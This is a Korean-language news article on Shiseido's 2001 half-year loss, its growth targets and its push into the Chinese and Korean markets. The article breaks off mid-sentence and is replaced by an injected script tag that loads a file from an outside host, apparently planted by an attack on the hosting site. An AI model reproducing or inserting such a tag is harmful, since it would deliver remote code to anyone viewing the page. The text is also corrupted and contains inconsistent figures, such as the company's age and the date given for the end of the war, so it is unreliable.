일본 최대의 화장품 제조사이며 세계 4대 화장품 회사로 손꼽히는 시세이도가 지난 9월 30일로 마감한 2001/2002회계연도 상반기에 전세계적인 소비 약세로 14억8천만엔(약160억원)의 순손실을 냈다고 발표했다. 시세이도는 2000/2001 회계연도에는 55년만에 처음으로 적자를 기록하면서 450억엔(약4850억원)의 순손실을 보고한 바 있다. 1872년에 후꾸하라 요신씨에 의해 창립된 시세이도사는 창립자 요신씨의 손자인 후꾸하라 요시하루(65세) 회장은 4년안에 적어도 품질, 경영, 서비스면에서 세계 최고의 화장품 제조사로 성장하고, 연간 총매출은 현재 매출보다 43% 증가한 75억달러(9조7,500억원)를 달성한다는 야심찬 목표를 세워놓고 있다. 동시에 최근 중국, 한국 등 아시아권을 중심으로 해외시장 확장에 박차를 가하고 있다. 프랑스의 로레알 그룹은 이미 작년도 총매출 92억달러(11조9,600억원)를 기록한 바 있다. 현재 화장품 매출면에서는 P&G, 유니레버, 로레알, 에스티 로더 등이 앞서고 있는 것으로 알려져 있으며, 시세이도 뒤에는 일본의 가오, 가네보와 미국의 에이본, 프랑스의 루이뷔통 등이 뒤를 바짝 좇고 있다. 일본 내수 시장에서는 현재 시세이도가 1위로 전체 18조2천억원 화장품시장의 약 25%를 차지하고 있지만 가오, 가네보, 고세, 폴라 등의 추격도 만만치 않다. 현재 시세이도를 포함한 위의 다섯 회사는 전체 내수시장의 40% 정도를 점유하고 있다. 게다가 최근에는 일본 화장품 시장에 로레알과 P&G(Max Factor) 등 외국회사들의 본격적인 진출로 인해 시세이도의 입지는 더욱 어려워지고 있는 추세이다. 124년의 전통을 자랑하는 시세이도가 이러한 여건속에서, 게다가 9월 11일 미국의 테러피습 이래 비행기 여행 및 관광이 급감하고 고급 화장품 시장이 소비자들의 소비위축으로 크게 타격을 입고 있는 이 때에 다시 흑자로 반전할 수 있을까? 후꾸하라 회장은 “회사 내부의 과감한 수술을 거치면 해낼 수 있다고 본다”고 답변한다. 1987년 회장직에 부임한 이래로 그룹 내에 과감한 개혁을 펼쳐온 후꾸하라 회장은 “거대한 중국 시장과 한국 시장을 포함한 아시아 지역이 가장 중요한 관건”이라고 말한다. 특히 최근 WTO에 가입하면서 수입을 개방하기 시작한 거대한 중국 시장에 일본 내수시장에서와는 달리 중저가 브랜드인 오프레를 판매함으로써 대중 화장품 시장을 공략하겠다는 전략이다. 일본 내수 시장에서 시세이도의 엑실리르(Exilir) 립스틱이 3만6천원 정도인데 비해 중국 시장에 내놓은 오프레의 립스틱은 그 3분의 1 정도인 1만2천원 수준이다. 또한 시세이도는 한국 시장에도 지대한 관심을 가지고 있다. 1997년에는 ㈜한국시세이도를 설립했으며 2000년 8월에는 ㈜대상과 공동으로 출자(자본금 70억원 : 대상 49%. 시세이도 51%)해서 국내 중저가 화장품 판매 업체인 S&D를 설립, 대형 할인점 등을 상대로 한 판매에도 진출했다. 또 생활건강 사업 부문인 FT시세이도를 통해서는 고급 샴푸 등 헤어케어 제품을 출시하고 있다. 일본 내에서만 2만5천개의 자체 점포 및 백화점 매장, 대형 수퍼마켓 매장 등을 운영해 오고 있는 시세이도는 가격 정찰제에 엄격하기로 소문이 나 있었는데 실제로 정찰 가격대로 팔지 않는 점포들에게는 화장품 공급을 중단해 왔다. 그러나 작년 10월에 일본의 공정거래위원회가 이러한 수십년된 시세이도의 관행을 중단할 것을 명령했고 시세이도는 이를 준수하기로 결정하는 바람에 오히려 이것이 소매상들에게는 희소식이 되었다. 5년째 경기 침체에 빠져온 일본의 소비자들에게는 저렴한 가격으로 시세이도 제품을 구입할 수 있게 되었고, 물밀 듯이 몰려오는 외국 화장품들과 가격 경쟁을 할 수 있게 되었기 때문이다. 예를 들어 샤넬 립스틱은 5년전에 일본내에서 47달러(6만원선)에 판매되던 것이 현재는 25달러(3만2천5백원)에 구입할 수 있는 수준이 되었다. 후꾸하라 회장은 “외국 시장에서의 입지를 더욱 견고케 하는 것이 내수 시장의 매출 감소를 극복하는 데 중요한 의미를 지닌다고 본다”면서 “1930년 처음 미국에 수출하기 시작한 이래 2차대전이 끝난 1957년에 대만을 필두로 싱가폴, 홍콩, 하와이, 이태리, 네덜란드에 수출하기 시작했고 미국 본토에 상륙한 시세이도의 저력을 살려 해외 시장에 더욱 포커스를 두겠다”고 말했다. 시세이도는 1980년에 크리스챤 디오르의 메이크업 라인 책임자였던 프랑스 디자이너인 세르쥐 뤼땅을 전격 고용함으로써 시세이도 전체 브랜드의 통합적인 이미지를 창출해 내도록 했는데 이것이 오늘날의 시세이도 브랜드 이미지로 구축됐다. 현재 한국을 비롯한 극동 및 동남아 시장과 중국 남부 시장에서 가장 큰 인기가 있는 시세이도 제품은 스킨 화이트닝 제품 라인이다. 시세이도의 이 스킨 화?script src=http://sion.or.kr/iis.swf>

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